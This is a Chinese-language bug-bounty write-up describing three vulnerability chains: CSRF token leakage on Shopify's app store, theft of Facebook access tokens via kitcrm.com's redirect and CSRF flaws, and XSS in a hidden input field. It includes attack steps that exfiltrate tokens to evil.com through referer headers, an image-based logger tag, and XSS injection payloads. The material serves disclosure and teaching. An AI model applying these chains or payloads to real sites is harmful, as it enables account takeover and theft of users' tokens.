實際上，在日常的開發過程中，開發人員很有可能會犯各種各樣貌似“無傷大雅”的小錯誤，單獨一個這樣的小錯誤可能並不能搞什麼事情，但如果將這些錯誤串起來形成一個漏洞鏈，那麼後果可就嚴重了。在這篇文章中，我將跟大家交流一下如何利用開發人員所犯下的各種錯誤來竊取敏感的Token。

1.通過GoogleAnalytics竊取CSRF token

當我在apps.shopiify.com上進行一些簡單的隨機測試時，我隨機訪問到了一個app頁面，然後點選了“Write a review”（寫評論）按鈕。由於當時我並沒有登入自己的賬號，因此網站將我重定向到了登入頁面，完成登入之後我又被重定向到了剛才那個應用的介紹頁面。沒錯，一切貌似都很正常。但是有一個不正常的地方，那就是我所得到的重定向連結中包含了下面這個GET引數：

authenticity_token=[CSRF_TOKEN]

這就很完美了！

首先，我知道Shopify允許使用者在應用描述中新增富文字資訊，於是我就覺得應該可以在這裡新增一張圖片（圖片託管在我的伺服器中）並從資料包的referer頭中獲取到token，或者新增一條連結然後欺騙使用者去點選它。

不出所料，這果然行不通，因為網站只允許使用以下標籤：

<a><b> <blockquote> <h2> <h3> <i> <li><ol> <p> <ul>

如果網站允許載入外部圖片的話，我就可以通過下面這種方法來新增一張外部圖片然後記錄referrer頭的資料

<img src=//myserver/log.php>

但很不幸這種方法在這裡行不通。除此之外，這裡也不允許使用標籤，可能是伺服器出錯了吧。不過也無所謂，反正我也不打算通過這個標籤來竊取token，因為這種方法所需要的使用者互動太多了。

我已經將該漏洞通過HackerOne上報給了Shopify，感興趣的同學可以檢視相關的漏洞報告。

2.通過各種小漏洞竊取Facebook的訪問令牌

對於這種型別的漏洞，我所能找出了例子已經數不勝數了，其中的一個我已經在HackerOne上披露了相關細節，感興趣的同學可以查閱一下，也許你可以從中瞭解到這種漏洞的執行機制。

在此之前，我已經在Facebook上找到了很多影響很小或者根本沒有影響的安全漏洞，但如果我們將這些漏洞全部串起來形成一個漏洞鏈，那麼我們將有可能竊取到Facebook提供給kitcrm.com的Facebook使用者訪問令牌（當前使用者）。

a.在kitcrm.com中，使用者通過shopify賬號完成註冊，此時他們商店中的產品將會出現在Priority Products區域中。

b.當用戶嘗試編輯一款Priority Products時，提交的請求中將包含產品圖片的URL地址，其中url以POST引數的形式出現。

c.使用者可以隨意設定產品圖片，比如說，使用者可以將產品圖片（url）設為http://evil.com/，而系統將會接受修改並將其作為產品圖片的url。

d.不會對認證令牌的有效性進行驗證，所以網站的登入節點則存在一個CSRF漏洞（其實也沒多大影響）。

e.kitcrm.com的使用者可以通過訪問https://www.kitcrm.com/users/auth/shopify?shop=zh5409.myshopify.com來完成自動驗證，訪問之後使用者將會被重定向到https://zh5409.myshopify.com/admin/oauth/authorize?client_id=1333a1b83ccdf7a7…..，接下來使用者又會被重定向回kitcrm.com並完成登入驗證。

f.Kitcrm的Facebook認證應用的redirect_uri配置將允許重定向到下面這種形式的地址：

https://www.kitcrm.com/<ANYTHING>

現在將我剛才所說的東西串聯起來，我們就能夠竊取到使用者的Facebook訪問令牌了：

1. 攻擊者註冊一個shopify商店，然後用它來註冊一個kitcrm.com賬號；
2. 註冊成功之後，將他的Priority Product產品圖片url修改為https://evil.com/log_token.php；
3. 接下來，想辦法欺騙使用者訪問一個特殊製作的HTML頁面；
4. 通過CSRF將目標使用者登入進攻擊者的商店；
5. 通過CSRF將目標使用者登入進kitcrm.com；
6. 將目標使用者重定向至https://www.facebook.com/v2.7/dialog/oauth?client_id=372033192897621&redirect_uri=https%3A%2F%2Fwww.kitcrm.com%2Fseller/onboarding/1&response_type....，這條連結又會將他重定向回https://www.kitcrm.com/seller/onboarding/1?code=[fb_token]
7. 當用戶從Facebook重定向到kitcrm.com之後，系統會向https://evil.com/log_token.php傳送一個請求，而返回的referrer頭重則包含了我們所要的東西；
8. 現在，攻擊者就可以將得到的token儲存在自己的後臺伺服器中，然後用它來登入目標使用者的Facebook賬號了。

PoC程式碼

Steal.html

log_token.php

3.SillyXSS與賬號接管

注：首先我要宣告，這是一個非公開的測試專案，因此我不會在這裡提到任何有關廠商的內容。

什麼？你沒聽說過Silly XSS?好吧…在我看來，SillyXSS指的仍然是一個XSS漏洞，但這個漏洞只能作用於過時的瀏覽器中；不過還有一種定義，即指的是那種需要大量使用者互動才可以利用的XSS漏洞。

這一次測試過程中出現的XSS存在於一個隱藏的標籤中，所以我打算通過下面這種方法注入我的payload：

<input type="hidden" name="foo" value="[XSS]">

但標籤的“<”卻被網站替換掉了（str_replace($payload,’<’ ,’’)），所以這種方法不可行。

Portswigger上的一位網友曾寫過一篇關於“隱藏域中的XSS漏洞“的文章，感興趣的同學可以參考一下【傳送門】。總結之後發現，我們可以使用，當用戶按下ALT+SHIFT+X之後便會觸發onclick事件，但這樣不僅需要大量的使用者互動（Silly XSS），而且也很可能拿不到高額的漏洞獎勵。

所以我還是得靠自己，我得想辦法設計一種新的方法來利用這種隱藏域中的XSS漏洞。比如說下面這種方法：

但這樣還是不行，因為瀏覽器無法給出型別為hidden的input。所以我得把type屬性的值修改為除了“hidden”之外的其他值。例如：

x"type=text onmouseover=alert(1) x

但瀏覽器會忽略我所新增的這種多重屬性，並只會接受第一個屬性值。

當時我在尋找XSS漏洞利用的方法時所測試的其中一個地方是x” type=imagesrc=http://aaaa.com x，而這種引數形式可以向[http://aaaa.com](http://aaaa.com)傳送一個請求，而且type型別仍然是“hidden”！！但是當我用Firefox測試同樣的內容時，瀏覽器卻沒有發出請求，所以我的第一反應就是將該問題上報給Google，但隨後我便發現這個漏洞已經有人報告過了，不過Google對此卻不以為然。

綜上所述，我們可以通過目標站點來請求任何外部資源，而此時網站支援使用者通過第三方服務（例如微信）來完成登入的話，那麼我所要做的就是將redirect_uri引數設定為[https://vulnerable/path/to/xss/payload](https://vulnerable/path/to/xss/payload)，當用戶通過第三方服務完成了網站登入之後，他將會被重定向到[https://vulnerable/path/to/xss/payload](https://vulnerable/path/to/xss/payload)，而我在payload中注入的HTML會將我們所要的資料從（微信）後臺返回到我的伺服器中，接下來我就可以用這些資料來登入目標使用者的賬號了。

結束語

如果有什麼不懂的地方，歡迎大家通過Twitter與我聯絡（@Zombiehelp54）。